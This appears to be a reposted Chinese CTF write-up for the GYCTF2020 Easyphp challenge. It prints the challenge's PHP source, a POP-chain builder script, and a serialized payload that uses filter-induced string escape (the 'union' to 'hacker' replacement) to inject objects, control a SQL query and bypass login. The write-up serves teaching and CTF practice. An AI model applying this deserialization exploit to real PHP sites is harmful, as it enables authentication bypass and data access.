[GYCTF2020]Easyphp
反序列化字符串逃逸
此知識點可以結合題目來看。
https://blog.csdn.net/shinygod/article/details/123724105
分析
/www.zip拿源碼
在update.php中可以拿到flag,條件$_SESSION['login']===1在lib.php中
<?php require_once('lib.php'); if ($_SESSION['login']!=1){echo "你還沒有登陸呢!"; } $users=new User(); $users->update(); if($_SESSION['login']===1){require_once("flag.php");echo $flag; } ?>lib.php
<?php error_reporting(0); session_start(); function safe($parm){$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");return str_replace($array,'hacker',$parm); } class User {public $id;public $age=null;public $nickname=null;public function login() {if(isset($_POST['username'])&&isset($_POST['password'])){$mysqli=new dbCtrl();$this->id=$mysqli->login('select id,password from user where username=?');if($this->id){$_SESSION['id']=$this->id;$_SESSION['login']=1;echo "你的ID是".$_SESSION['id'];echo "你好!".$_SESSION['token'];echo "<script>window.location.href='./update.php'</script>";return $this->id;}} }public function update(){$Info=unserialize($this->getNewinfo());//反序列化的是getNewinfo的返回值$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);}public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname)));}public function __destruct(){return file_get_contents($this->nickname);//危}public function __toString(){$this->nickname->update($this->age);return "0-0";} } class Info{public $age;public $nickname;public $CtrlCase;public function __construct($age,$nickname){$this->age=$age;$this->nickname=$nickname;}public function __call($name,$argument){//調用類中不存在的方法時會調用echo $this->CtrlCase->login($argument[0]);} } Class UpdateHelper{public $id;public $newinfo;public $sql;public function __construct($newInfo,$sql){$newInfo=unserialize($newInfo);$upDate=new dbCtrl();}public function __destruct(){echo $this->sql;} } class dbCtrl {public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name;public $password;public $mysqli;public $token;public function __construct(){$this->name=$_POST['username'];$this->password=$_POST['password'];$this->token=$_SESSION['token'];}public function login($sql){$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);if ($this->mysqli->connect_error) {die("連接失敗,錯誤:" . $this->mysqli->connect_error);}$result=$this->mysqli->prepare($sql);//執行sql語句。$result->bind_param('s', $this->name);//綁定參數,第一個參數,表示第一個字段類型string,是要插入字段的類型$result->execute();//執行準備的語句$result->bind_result($idResult, $passwordResult);//把查尋的id集合綁定到idresult,密碼集綁定到變量passwordResult,查到返回true$result->fetch();//取值$result->close();//關連接if ($this->token=='admin') {//通過反序列化控制token等于admin就可以了return $idResult;}if (!$idResult) {echo('用戶不存在!');return false;}if (md5($this->password)!==$passwordResult) {echo('密碼錯誤!');return false;}//當密碼$_SESSION['token']=$this->name;return $idResult;}public function update($sql){//還沒來得及寫} }要想$_SESSION['login']===1,有兩種做法:
1. token==admin2. 傳進去的密碼MD5加密后和他查到的密碼一樣代碼中它的查詢語句是這樣:
且這個查詢語句是可以控制的,等會在說
下一步就是要想辦法使得md5($this->password)!==$passwordResult,這里就要用到反序列化來實現了。
pop鏈
UpdateHelper中有__destruct,且會echo輸出,那么就可以觸發User類中的__toString
User類中的__toString,用nickname調用Info類中的__call,且$age變量作為參數。這樣我們只需要將$nicknames實例化為Info類的對象,從而可以調用Info::__call方法,且$age中的值會作為參數傳入。
Info類的__call用$CtrCase變量調用dbCtrl類中的login()方法,且參數就是上一步通過User.age的值傳進來的,所以參數sql語句是我們所控制的,也就達到了我們md5($this->password)!==$passwordResult。
最后我們只需要對dbCtrl類里的一些變量賦值成我們需要的值即可。
pop鏈子:
<?php class User {public $age = null;public $nickname = null;public function __construct(){$this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';//password這個字段名字,在查的時候會變為c4ca4238a0b923820dcc509a6f75849b$this->nickname = new Info();} } class Info {public $CtrlCase;public function __construct(){$this->CtrlCase = new dbCtrl();} } class UpdateHelper {public $sql;public function __construct(){$this->sql = new User();} } class dbCtrl {public $name = "admin";public $password = "1"; } $o = new UpdateHelper; echo serialize($o); /* UpdateHelper::__destruct() $sql=new User User::__toString $nickname=new Info Info::__call $CtrlCase=new dbCtrl dbCtrl::login($sql) $實際上是從User中的$age */ ?>序列化字符串
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}接下來就是要看在反序列化的地方了。
可以看到反序列化的是getNewinfo的返回值。
這個函數的返回值是一個先序列化再經過safe()函數處理的Info類對象。
所以最終能夠反序列化的不是我們直接傳入的字符串,而是用我們傳入的值實例化一個Info類的對象,然后對這個對象進行序列化,再對這個序列化結果進行safe() 處理,最后得到的值再進行反序列化。
safe()函數,將長度小于6的字符串直接替換成了長度為6的hacker,造成了反序列化字符串自增逃逸。
所以要反序列化我們的payload,就要控制Info類對象的序列化串,例如當age=20,nickname=succ3時,序列化的樣子如下:
若在nickname參數處逃逸,逃逸前:把從succ3后面的所有都重寫了一下,這邊會在safe函數替換后運行成功。(長度:263)
";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}且safe會把union替換為hacker,也就是說五個字符替換為六個。我們構造263個union后,全部替換為hacker后會多出263個字符,多出來的空間會把我們構造的payload包含進去。
最后的payload
最后在update.php處post方式上傳。
因為我們利用的點就在update處,以及衍生。
最后登錄username=admin密碼隨便
因為當兩個密碼相等,則把name也就是admin賦給token
所以當我們在登錄時這一條就成功過了。
參考:
https://blog.csdn.net/qq_42181428/article/details/104474414?fps=1&locationNum=2
總結
以上是生活随笔為你收集整理的[GYCTF2020]Easyphp的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Unity中实现文件加密
- 下一篇: Google Earth Engine(